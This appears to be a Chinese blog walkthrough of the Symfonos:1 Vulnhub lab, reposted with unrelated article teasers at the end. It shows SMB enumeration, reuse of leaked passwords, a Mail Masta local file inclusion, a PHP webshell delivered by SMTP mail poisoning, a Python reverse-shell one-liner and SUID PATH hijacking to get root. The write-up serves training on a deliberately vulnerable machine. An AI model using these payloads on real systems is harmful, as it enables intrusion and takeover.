Vulnhub - Symfonos

news2024/10/7 14:27:31

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

Symfonos 靶机下载地址:https://www.vulnhub.com/entry/symfonos-1,322/

0x01 信息收集

Nmap扫描目标主机,发现开放22、25、80、139、445端口,分别运行ssh、smtp、http、smb服务。

┌──(root㉿ch4ser)-[~]
└─# nmap -p- -sV -sC -A 192.168.196.141
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-17 08:15 CST
Nmap scan report for 192.168.196.141
Host is up (0.00034s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
|   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp  open  smtp        Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after:  2029-06-26T00:29:42
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  ᴮsՕ      Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:AA:38:6B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts:  symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

 尝试DirSearch扫描80端口网站目录,没有扫出来有价值的信息。

由于目标主机开放smb服务,尝试使用smbclient连接,成功列出目标主机上的共享文件夹列表。

其中Sharename为共享文件夹的名称:print$为打印机驱动程序的共享文件夹,helios为用户helios个人共享文件夹,anonymous为匿名共享文件夹,IPC$为IPC服务的共享文件夹。

┌──(root?ch4ser)-[~]
└─# smbclient -L 192.168.196.141
Password for [WORKGROUP\root]:

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	helios          Disk      Helios personal share
	anonymous       Disk      
	IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            SYMFONOS

尝试连接到anonymous匿名共享文件夹,因为一般来说anonymous不需要身份认证。

发现attention.txt,将其下载到本地并查看,其内容为Zeus叫员工停止使用'epidioko', 'qwerty', 'baseball'这三个密码,被他发现就要炒鱿鱼了,那看来Zeus应该是个老板哈哈哈。

┌──(root㉿ch4ser)-[~]
└─# smbclient //192.168.196.141/anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jun 29 09:14:49 2019
  ..                                  D        0  Sat Jun 29 09:12:15 2019
  attention.txt                       N      154  Sat Jun 29 09:14:49 2019

		19994224 blocks of size 1024. 17305336 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (75.2 KiloBytes/sec) (average 75.2 KiloBytes/sec)
smb: \> exit
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# cat attention.txt 

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! 

Next person I find using one of these passwords will be fired!

-Zeus

尝试连接用户helios个人共享文件夹,指定用户名为helios,使用'epidioko', 'qwerty', 'baseball'这三个密码进行身份认证,其中'qwerty'为正确密码。

todo.txt内容表明该用户要在/h3l105上工作,由此猜测/h3l105可能为某网站目录。

┌──(root㉿ch4ser)-[~]
└─# smbclient //192.168.196.141/helios -U helios
Password for [WORKGROUP\helios]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jun 29 08:32:05 2019
  ..                                  D        0  Sat Jun 29 08:37:04 2019
  research.txt                        A      432  Sat Jun 29 08:32:05 2019
  todo.txt                            A       52  Sat Jun 29 08:32:05 2019

		19994224 blocks of size 1024. 17305336 blocks available
smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (210.9 KiloBytes/sec) (average 210.9 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (25.4 KiloBytes/sec) (average 118.2 KiloBytes/sec)
smb: \> exit
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# cat research.txt 
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# cat todo.txt    

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

访问/h3l105发现是一个WordPress网站,Wappalyzer显示WordPress版本为5.2.2

0x02 权限获取 - WordPress任意文件包含

使用wpscan扫描该WordPress站点,发现其mail-masta版本为1.0,可能存在漏洞利用。

wpscan项目地址:https://github.com/wpscanteam/wpscan wpscan

┌──(root㉿ch4ser)-[~]
└─# wpscan --url http://192.168.196.141/h3l105/ --plugins-detection aggressive
............
[+] mail-masta
 | Location: http://192.168.196.141/h3l105/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2014-09-19T07:52:00.000Z
 | Readme: http://192.168.196.141/h3l105/wp-content/plugins/mail-masta/readme.txt
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.196.141/h3l105/wp-content/plugins/mail-masta/, status: 200
 |
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.196.141/h3l105/wp-content/plugins/mail-masta/readme.txt

使用searchsploit搜索mail-masta相关漏洞利用代码并查看,得知poc为:

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

/h3l105//wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
┌──(root㉿ch4ser)-[~]
└─# searchsploit masta
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Mail Masta 1.0 - Local File Inclusion                                                                                                                           | php/webapps/40290.txt
WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)                                                                                                                       | php/webapps/50226.py
WordPress Plugin Mail Masta 1.0 - SQL Injection                                                                                                                                  | php/webapps/41438.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# find / -name 40290.txt
/root/40290.txt
/usr/share/exploitdb/exploits/php/webapps/40290.txt
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/40290.txt  
[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
[+] info: Local File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);


This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.


Typical proof-of-concept would be to load passwd file:


http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd                                                                                                                                                                                                                   

页面成功返回相关内容,即此处存在任意文件包含。

继续尝试包含webshell,由于没有找到文件上传点,一般思路是进行日志包含,即访问路径带有一句话木马写入日志然后包含。

这里不采用这种方式,因为前面信息收集发现目标主机开放smtp邮件服务,所以想到可以给用户helios发送邮件然后包含其默认邮件路径/var/mail/helios。

┌──(root㉿ch4ser)-[~]
└─# telnet 192.168.196.141 25
Trying 192.168.196.141...
Connected to 192.168.196.141.
Escape character is '^]'.
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: Ch4ser
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as C4C0840698

221 2.0.0 Bye
Connection closed by foreign host.

 访问以下路径发现刚才的邮件已经写进去了,这里没有webshell代码是正常的,说明被执行了。

/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios

那么现在只需要反弹shell即可得到会话,但我测试bash反弹不回来,python则可以。

 反弹shell在线生成网站:https://forum.ywhack.com/shell.php

192.168.196.141/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.196.128",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 成功得到普通用户helios的权限。

┌──(root㉿ch4ser)-[~]
└─# nc -lvvp 7777                      
listening on [any] 7777 ...
192.168.196.141: inverse host lookup failed: Unknown host
connect to [192.168.196.128] from (UNKNOWN) [192.168.196.141] 52208
/bin/sh: 0: can't access tty; job control turned off
$ whoami
helios
$ id
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

 0x03 权限提升 - SUID&环境变量

查找SUID文件,发现/opt/statuscheck可能可以利用,但具体还是要看其能否执行命令。

$ python -c 'import pty;pty.spawn("/bin/bash")'
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ find / -perm -u=s -type f 2>/dev/null
<inc/campaign$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping

使用命令strings大概看一下/opt/statuscheck干了些什么,发现它会执行curl命令。

<h3l105/wp-content/plugins/mail-masta/inc/campaign$ strings /opt/statuscheck
...........
curl -I H
...........

来到/tmp目录,新建一个名为curl的文件让其执行/bin/bash,并将/tmp导入环境变量。

<h3l105/wp-content/plugins/mail-masta/inc/campaign$ cd /tmp
cd /tmp
helios@symfonos:/tmp$ echo "/bin/sh" > curl
echo "/bin/sh" > curl
helios@symfonos:/tmp$ chmod 777 curl
chmod 777 curl
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

执行/opt/statuscheck,由于其享有SUID权限,会以root身份执行我们的curl,而它会执行/bin/bash,最后成功拿下root权限和flag。

helios@symfonos:/tmp$ /opt/statuscheck
/opt/statuscheck
# whoami
whoami
root
# id
id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
# cd /root
cd /root
# ls
ls
proof.txt
# cat proof.txt
cat proof.txt

	Congrats on rooting symfonos:1!

                 \ __
--==/[})))==*
                 / \ '          ,|
                    `\`\      //|                             ,|
                      \ `\  //,/'                           -~ |
   )             _-~~~\  |/ / |'|                       _-~  / ,
  ((            /' )   | \ / /'/                    _-~   _/_-~|
 (((            ;  /`  ' )/ /''                 _ -~     _-~ ,/'
 ) ))           `~~\   `\\/'/|'           __--~~__--\ _-~  _/, 
((( ))            / ~~    \ /~      __--~~  --~~  __/~  _-~ /
 ((\~\           |    )   | '      /        __--~~  \-~~ _-~
    `\(\    __--(   _/    |'\     /     --~~   __--~' _-~ ~|
     (  ((~~   __-~        \~\   /     ___---~~  ~~\~~__--~ 
      ~~\~~~~~~   `\-~      \~\ /           __--~~~'~~/
                   ;\ __.-~  ~-/      ~~~~~__\__---~~ _..--._
                   ;;;;;;;;'  /      ---~~~/_.-----.-~  _.._ ~\     
                  ;;;;;;;'   /      ----~~/         `\,~    `\ \        
                  ;;;;'     (      ---~~/         `:::|       `\\.      
                  |'  _      `----~~~~'      /      `:|        ()))),      
            ______/\/~    |                 /        /         (((((())  
          /~;;.____/;;'  /          ___.---(   `;;;/             )))'`))
         / //  _;______;'------~~~~~    |;;/\    /                ((   ( 
        //  \ \                        /  |  \;;,\                 `   
       (<_    \ \                    /',/-----'  _> 
        \_|     \\_                 //~;~~~~~~~~~ 
                 \_|               (,~~   
                                    \~\
                                     ~~

	Contact me via Twitter @zayotic to give feedback!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522972.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在pzp203上运行ad9361 no-os工程

0. 环境 - pzp203 - ubuntu18 vivado2018 pzp203是一款plutosdr的国产兼容版。出厂默认是基于linux系统的&#xff0c;用libiio调用。软硬件兼容adalm-pluto。开发板提供网盘资料&#xff0c;是添加了板卡适配的。 1. hdl 1.1 准备源码 hdl https://github.com/analogdevi…

力扣162-寻找峰值, test ok

题目 代码实现 #include<iostream> #include<vector> using namespace std;class Solution { public:int findPeakElement(vector<int>& nums) {int len nums.size();int left 0, right len - 1, mid;while (left < right) {mid left (right -…

基于Java的大学计算机课程管理平台(Vue.js+SpringBoot)

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 实验课程档案模块2.2 实验资源模块2.3 学生实验模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 实验课程档案表3.2.2 实验资源表3.2.3 学生实验表 四、系统展示五、核心代码5.1 一键生成实验5.2 提交实验5.3 批阅实…

修改NLog配置文件参数的方法

目录 一、背景 二、NLog配置文件 三、C#代码 四、验证结果 ​ 五、总结 一、背景 最近项目中要用到NLog记录日志&#xff0c;有一个要求是可以灵活地修改日志文件的存放位置&#xff0c;琢磨了一小会&#xff0c;发现可以使用XML文件的形式修改文件的参数&#xff0c;现将…

实现兼容性良好的前端页面开发

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

【LLM加速】注意力优化(基于位置/内容的稀疏注意力 | flashattention)

note &#xff08;1&#xff09;近似注意力&#xff1a; Routing Transformer采用K-means 聚类方法&#xff0c;针对Query和Key进行聚类&#xff0c;类中心向量集合为 { μ i } i 1 k \left\{\boldsymbol{\mu}_i\right\}_{i1}^k {μi​}i1k​ &#xff0c;其中k 是类中心的…

源于一区| 改善性能的5种高效而小众的变异策略,一键调用 (Matlab)

基于群体的优化算法在达到迭代后期时种群多样性往往会速降&#xff0c;进化将陷入停滞&#xff0c;而许多算法本身并没有突变机制&#xff0c;一旦受到局部最优值的约束&#xff0c;就很难摆脱这些约束。它还将减少种群多样性&#xff0c;减缓收敛速度。 变异策略可以增加种群…

2025武忠祥考研数学,视频百度网盘+基础全程课程PDF

“得数学者的天下”&#xff0c;25考研首先要开始的就是数学复习&#xff0c;而数学复习首先要开始的必然是高数&#xff01; 很多同学选择了跟着武忠祥老师学习高数&#xff0c;但是具体要怎么学&#xff1f;用什么书&#xff1f;怎么刷题&#xff1f;快来看看以 下的武忠祥…

GenAI开源公司汇总

主要分类如下&#xff1a; 1. 基础模型&#xff1a;这些是机器学习和AI的核心模型提供商&#xff0c;它们提供基础的算法和技术支持。 2. 模型部署与推断&#xff1a;提供云服务和计算资源&#xff0c;帮助用户部署和运行AI模型。 3. 开发者工具&#xff1a;支持AI/ML的开发…

【01】htmlcssgit

01-前端干货-html&css 防脱发神器 一图胜千言 使用border-box控制尺寸更加直观,因此,很多网站都会加入下面的代码 * {margin: 0;padding: 0;box-sizing: border-box; }颜色的 alpha 通道 颜色的 alpha 通道标识了色彩的透明度,它是一个 0~1 之间的取值,0 标识完全…

开发指南013-国际化-后台部分

平台底层做了国际化处理。开发时候根据项目性质&#xff0c;决定是否采用国际化&#xff0c;但是底层所需资源必须包含&#xff08;一些底层例如登录校验都做了对应处理&#xff09;。平台先支持中文简体、中文繁体、英文、日文&#xff0c;必要时可以随时扩展其他语言。 国际化…

单片机FLASH深度解析和编程实践(上)

本篇文章主要针对单片机FLASH编程和FLASH基本原理进行学习分享。以STM32单片机作为实例进行编程实训。 关于FLASH操作的相关寄存器及编程&#xff0c;大家可以参考下一篇文章: 单片机FLASH深度解析和编程实践&#xff08;下&#xff09;-CSDN博客 目录 一、STM32编程方式 二、…

Linux批量注释

1.注释行 1.按ctrlv进入块选择模式 &#xff0c;然后上下键选中需要注释的行 2.按shifti(也就是大写I) 然后输入// 或 # 3.按ESC键 2.取消注释行 1.按ctrlv进入块选择模式&#xff0c; 然后上下键选中需要取消注释的行 2.然后按d

QT C++ QButtonGroup应用

//QT 中&#xff0c;按钮数量比较少&#xff0c;可以分别用各按钮的信号和槽处理。 //当按钮数量较多时&#xff0c;用QButtonGroup可以实现共用一个槽函数&#xff0c;批量处理&#xff0c;减少垃圾代码&#xff0c; //减少出错。 //开发平台&#xff1a;win10QT6.2.4 MSVC…

面向控制台编程?Java的GUI开发

记得之前刚开始学习Java&#xff0c;按部就班去阅读《Java核心技术》这本书的时候&#xff0c;总是听别人提起&#xff0c;java swing那一章不用看了。然后直到对着控制台编程了半年&#xff0c;回来捡起了Swing图形界面&#xff0c;跟着网上搞了坦克大战的游戏&#xff0c;总觉…

【蓝桥杯选拔赛真题38】C++判断数字 第十四届蓝桥杯青少年创意编程大赛 算法思维 C++编程选拔赛真题解析

目录 C判断数字 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 七、推荐资料 C判断数字 第十四届蓝桥杯青少年创意编程大赛C选拔赛真题 一、题目要求 1、编程实现 给定一个正整数N(100≤N<100000)…

从零开始搭建游戏服务器 第二节 Actor模型与应用

目录 复习本节内容正文什么是Actor模型如何应用创建Actor基类创建RootActor创建AkkaContext创建ConnectActorManager和ConnectActor生成actor并发送消息给它 课后作业结尾 复习 上一节我们使用gradle构建了一个多模块系统。 并且在登录服启动了Netty服务&#xff0c;监听confi…

字符串的模式匹配算法

一、朴素模式匹配算法 二、KMP算法 三、KMP求Next数组 四、KMP求NextVal数组

Nacos与Eureka的使用与区别

Nacos与Eureka的使用与区别 单体架构&#xff1a;优点缺点 分布式架构需要考虑的问题&#xff1a;微服务企业需求 认识SpringCloud服务的拆分与远程调用微服务调用方式 Eureka提供者和消费者架构搭建Eureka服务注册服务发现 Ribbon负载均衡饥饿加载总结 Nacos注册中心Nacos安装…

Task-balanced distillation for object detection用于

Task-balanced distillation for object detection用于目标检测的任务平衡蒸馏 摘要 主流的目标检测器通常由分类和回归两个子任务组成&#xff0c;由两个并行头部实现。这种经典的设计范式不可避免的导致分类得分和定位质量&#xff08;IOU&#xff09;之间的空间分布不一致…